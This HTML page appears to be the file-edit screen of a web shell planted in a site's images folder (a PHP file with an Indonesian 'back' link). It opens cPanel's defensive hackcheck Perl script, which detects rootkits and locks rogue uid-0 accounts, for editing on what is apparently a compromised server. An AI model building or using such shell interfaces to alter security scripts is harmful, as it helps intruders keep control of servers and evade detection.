<h2>Edit File - hackcheck</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/hackcheck">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/hackcheck                       Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use Cpanel::Rand                 ();
use Cpanel::FileUtils::TouchFile ();
use Cpanel::SafeDir::MK          ();

$| = 1;

my $tmpdir    = Cpanel::Rand::gettmpdir();    # audit case 46806 ok
my $is_hacked = &#039;&#039;;
if ( -d $tmpdir ) {
    foreach my $num ( 0 .. 9 ) {
        Cpanel::FileUtils::TouchFile::touchfile(&quot;$tmpdir/$num&quot;);
        if ( !-f &quot;$tmpdir/$num&quot; ) {
            $is_hacked = &quot;Could not create file $tmpdir/$num: $!&quot;;
            last;
        }
        elsif ( !unlink(&quot;$tmpdir/$num&quot;) ) {
            $is_hacked = &quot;Could not remove file $tmpdir/$num: $!&quot;;
            last;
        }
        Cpanel::SafeDir::MK::safemkdir(&quot;$tmpdir/$num&quot;);
        if ( !-d &quot;$tmpdir/$num&quot; ) {
            $is_hacked = &quot;Could not create directory $tmpdir/$num: $!&quot;;
            last;
        }
        elsif ( !rmdir(&quot;$tmpdir/$num&quot;) ) {
            $is_hacked = &quot;Could not remove directory $tmpdir/$num: $!&quot;;
            last;
        }
    }
    if ( !$is_hacked ) {
        if ( !rmdir($tmpdir) ) {
            $is_hacked = &quot;Could not remove directory $tmpdir: $!&quot;;
        }
    }
}
else {    # Can&#039;t make random directory in /tmp
    $is_hacked = &quot;Failed to create directory $tmpdir: $!&quot;;
}

my $msg = &lt;&lt;&quot;EOM&quot;;
Attempts to create new directories or files whose filenames begin with numbers have failed.
This is indicative of a root compromise of the server.

The exact error encountered was:

$is_hacked

EOM

if ($is_hacked) {
    print &quot;[hackcheck] Possible rootkit detected\n$msg&quot;;

    require Cpanel::Notify;
    Cpanel::Notify::notification_class(
        &#039;class&#039;            =&gt; &#039;Check::Hack&#039;,
        &#039;application&#039;      =&gt; &#039;Check::Hack&#039;,
        &#039;constructor_args&#039; =&gt; [
            &#039;origin&#039; =&gt; &#039;hackcheck&#039;,
            &#039;reason&#039; =&gt; $is_hacked
        ]
    );
}

exit if -e &#039;/etc/disablehackcheck&#039;;

foreach my $account (qw(xfs daemon)) {
    my @pwnam = getpwnam($account);
    next if !$pwnam[0];
    if ( $pwnam[1] !~ m{^[\!\*]} ) {
        system( &quot;/usr/bin/passwd&quot;, &quot;-l&quot;, $account );
    }
}

my ( $user, $uid );
open( my $passwd, &#039;&lt;&#039;, &quot;/etc/passwd&quot; );
while (&lt;$passwd&gt;) {
    next if (m/^\#/);
    ( $user, undef, $uid, undef ) = split( /:/, $_, 3 );
    next if ( !defined $uid );
    if ( $uid == 0 &amp;&amp; $user ne &quot;root&quot; &amp;&amp; $user ne &quot;toor&quot; ) {
        system( &#039;/usr/bin/passwd&#039;, &#039;-l&#039;, $user );
        print &quot;[hackcheck] $user has a uid 0 account (root access).\n&quot;;

        require Cpanel::Notify;
        Cpanel::Notify::notification_class(
            &#039;class&#039;            =&gt; &#039;Check::Hack&#039;,
            &#039;application&#039;      =&gt; &#039;Check::Hack&#039;,
            &#039;constructor_args&#039; =&gt; [
                &#039;origin&#039;          =&gt; &#039;hackcheck&#039;,
                &#039;suspicious_user&#039; =&gt; $user
            ]
        );
    }
}
close($passwd);
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>